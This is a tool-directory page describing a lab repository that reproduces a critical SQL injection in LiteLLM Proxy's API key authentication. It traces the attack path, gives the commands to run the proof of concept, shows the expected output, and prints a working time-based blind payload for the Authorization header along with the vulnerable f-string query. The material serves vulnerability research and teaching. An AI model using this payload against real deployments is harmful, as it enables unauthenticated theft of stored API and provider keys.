Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/imjdl/cve-2026-42208_lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Reproduction environment for a critical SQL injection in LiteLLM Proxy's API key authentication, with a time-based blind PoC and Docker setup for testing.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

LiteLLM Proxy SQL Injection (GHSA-r75f-5x8p-qvmc)

A reproduction environment for the SQL injection vulnerability in LiteLLM Proxy's API key authentication flow.

Vulnerability Summary

ItemDetail
AdvisoryGHSA-r75f-5x8p-qvmc
TypeSQL Injection (CWE-89)
SeverityCritical
Affectedlitellm >=1.81.16, <1.83.7
Fixedlitellm >=1.83.7 (commit 4dc416ee74)

Attack Path

The injection occurs in the error-handling callback path, not the main authentication flow. When a non-sk- prefixed token is sent, the assertion fails and the raw (unhashed) token flows through the failure callback chain into a SQL query that uses f-string interpolation:

root@kitploit:~
HTTP request: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") fails
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← INJECTION

The main sk- authentication path is not exploitable because tokens are SHA256-hashed before reaching the query, producing only [0-9a-f] characters.

Reproduction

1. Start the vulnerable environment

root@kitploit:~
docker compose up -d

This starts LiteLLM Proxy (v1.83.3-stable) with a PostgreSQL backend.

2. Run the PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Expected output

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Technical Details

Payload construction

PostgreSQL's pg_sleep() returns void, which cannot appear in a boolean context (OR). The payload wraps it in a subquery to avoid the type error:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

This is injected into the combined_view query in litellm/proxy/utils.py:

root@kitploit:~
# Vulnerable code (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← f-string interpolation of user input
"""

Impact

  • Unauthenticated — no valid API key required
  • Database read access — extract any data via blind injection (API keys, credentials, config)
  • All LLM provider keys managed by the proxy are at risk

References

  • GitHub Security Advisory
  • Fix commit 4dc416ee74
  • Sysdig TRT threat intelligence report — observed in-the-wild exploitation within 36 hours of disclosure
Download Tool